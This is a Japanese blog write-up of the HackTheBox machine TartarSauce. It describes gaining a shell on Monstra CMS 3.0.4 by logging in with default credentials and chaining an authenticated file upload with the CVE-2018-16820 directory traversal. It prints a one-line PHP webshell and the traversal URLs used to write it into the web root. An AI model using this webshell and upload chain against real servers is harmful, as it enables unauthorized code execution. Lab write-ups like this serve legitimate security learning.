高林の雑記ブログ

こんにちは。

HackTheBox TartarSauce Writeup

TartarSauceというマシンの新しい解法(ほかのWriteupでは解説されていない)を見つけたのでブログに書きたいと思います。(といってもそんな大したことないですが)。
他のWriteupではRabbit Holeとされている、「Monstra」CMSを悪用して初期シェルを得る方法を解説します。rootまでの完全なWriteupではないので悪しからず。
f:id:kakyouim:20200514164034p:plain

Monstra CMS

Information Gathering

/webservices/monstra-3.0.4/admin/にアクセスすると、以下のようなログインページが見つかる。
f:id:kakyouim:20200514164204p:plain

Versionが3.0.4だということがわかり、これでGoogleでExploitを探すといろいろ脆弱性が見つかる。
これらをまとめてみると、以下のようになる。結論から言うと、以下の二つのExploitを組み合わせることで初期シェルがゲットできた。
f:id:kakyouim:20200514164825p:plain

Login

上記で調べたExploitを見る限り、全てAuthenticatedを必要としている。つまり、ログイン後に初めて悪用できる。よって、MonstraCMSにログインを試す。
Webのログインページに対して、login bruteforce,default login,SQL Injectionの3つの可能性が考えられるが、10回以上のログイン試行によって一定時間BANされたので、login bruteforceの線は薄い。また、このMonstraCMSは実際に存在するサービスであり、Sql Injectionはググっても出てこなかったため、Sql Injectionの可能性も薄い(それでも一応基本的なものは試すが)。
したがって、default loginで悪用する可能性が高く、実際、admin / adminという弱いクレデンシャルでログインができた。
f:id:kakyouim:20200514165428p:plain

Arbitrary File Upload

ログインができたので、AuthenticatedのArbitrary File Uploadができそうに見える。バージョンもドンピシャであり、このExploitの解説方法もググれば大量に出てくるため、かなり信頼性が高い。
www.exploit-db.com
Exploit-dbの通り、webshell.php7というファイル名でアップロードを試みる。

root@kali:~/Documents/HTB/TartarSause# cat webshell.php7 
<?php system($_GET['cmd']); ?>
root@kali:~/Documents/HTB/TartarSause# 

すると、以下のようにFile was not uploadedというエラーが発生する。
f:id:kakyouim:20200514170108p:plain

ここで、.php7という拡張子がダメなのかもしれないので、webshell.txtとしてUploadを試みる。そして、この場合も同様のエラーが発生した。
「???」って感じである。よくわからないので、Burp Suiteで実際のやり取りを確認してみる。

どうやら302エラーが発生していることが原因??(結果的には多分関係ない)。存在するはずのページなのに302ってドユコト?。ただ、おそらくURLに問題がある?っぽいのかなと推測できる。
あと、もう一つ目についたのが、&path=uploadsの部分。ここから、おそらく「uploads」という名前のディレクトリにファイルを書き込む、と推測できる。
f:id:kakyouim:20200514170803p:plain

以上のことから、このMonstraCMSではファイルのアップロードそのものは可能で、そのファイルはuploadsディレクトリに書き込まれるが、このディレクトリに対して書き込み権限がないため、エラーが発生している、と推測できる。

Directory Traversal

ここで、先ほどGoogleで検索したExploitの中に、directory traversalがあったことを思い出す。よって、uploadsディレクトリをdirectory traversalを使って別の書き込めるディレクトリに指定すれば成功するのでは??と考えられる。
では、まずdirectory traversalが成功するのかを確認する。

www.cvedetails.com

index.php?id=filesmanager&path=uploads/.......//./.......//./.......//./.......//./.......//./.......//./
でアクセスしてみると、以下のように成功していることがわかる。
f:id:kakyouim:20200514171941p:plain

どうやら、/.......//./一つで親ディレクトリ一つ分移動できるっぽいので、それを確認する。
成功!どうやら仮説通り、uploadsディレクトリが存在していたらしい。
f:id:kakyouim:20200514172106p:plain

Webshell Upload

次に、書き込み権限があると思われる/tmpにファイルを書き込むことを試す。
/index.php?id=filesmanager&path=uploads/.......//./.......//./.......//./.......//./.......//./.......//./.......//./tmp/
でアクセスしてみる。
f:id:kakyouim:20200514172412p:plain

そして、/tmpを確認してみると、成功していることがわかる!!!
f:id:kakyouim:20200514172425p:plain

次は、書き込み権限があるようなWebrootに書き込んで、ブラウザからそのPHPファイルにアクセスして、PHPコードを実行することを試す。
/index.php?id=filesmanager&path=uploads/.......//./.......//./.......//./.......//./.......//./.......//./.......//./var/www/html/
をURLに設定して、ファイルをアップロードすると、以下のように書き込めており、ブラウザ経由で確認することができた!!
f:id:kakyouim:20200514173251p:plain
f:id:kakyouim:20200514173115p:plain

よって、次は.php7ファイルをアップロードすることを試してみる。
f:id:kakyouim:20200514173336p:plain

そして、Webshellゲットだぜ!!。
f:id:kakyouim:20200514173353p:plain

CVE-2018-16820

https://www.cvedetails.com/cve/CVE-2018-16820/
Cvedetailsを見る限り、任意の書き込み権限のあるディレクトリにファイルをアップして、RCEできうるみたいなことは書いてないんですけど、これってどうなんだろう?
今回みたいな悪用の仕方は初めてなのでこれがCVE-2018-16820の範囲内なのかよくわからないです。
一度登録されたCVEは再評価はされないのかな?知ってる方いれば教えてほしいです!
f:id:kakyouim:20200514225609p:plain

まとめ

Monstra CMS 3.0.4の(Authenticated) Arbitrary File UploadとDirectory Traversal(CVE-2018-16820)を組み合わせて、書き込み権限のないuploadsディレクトリ以外のディレクトリに書き込んで、Webshellを設置することができた。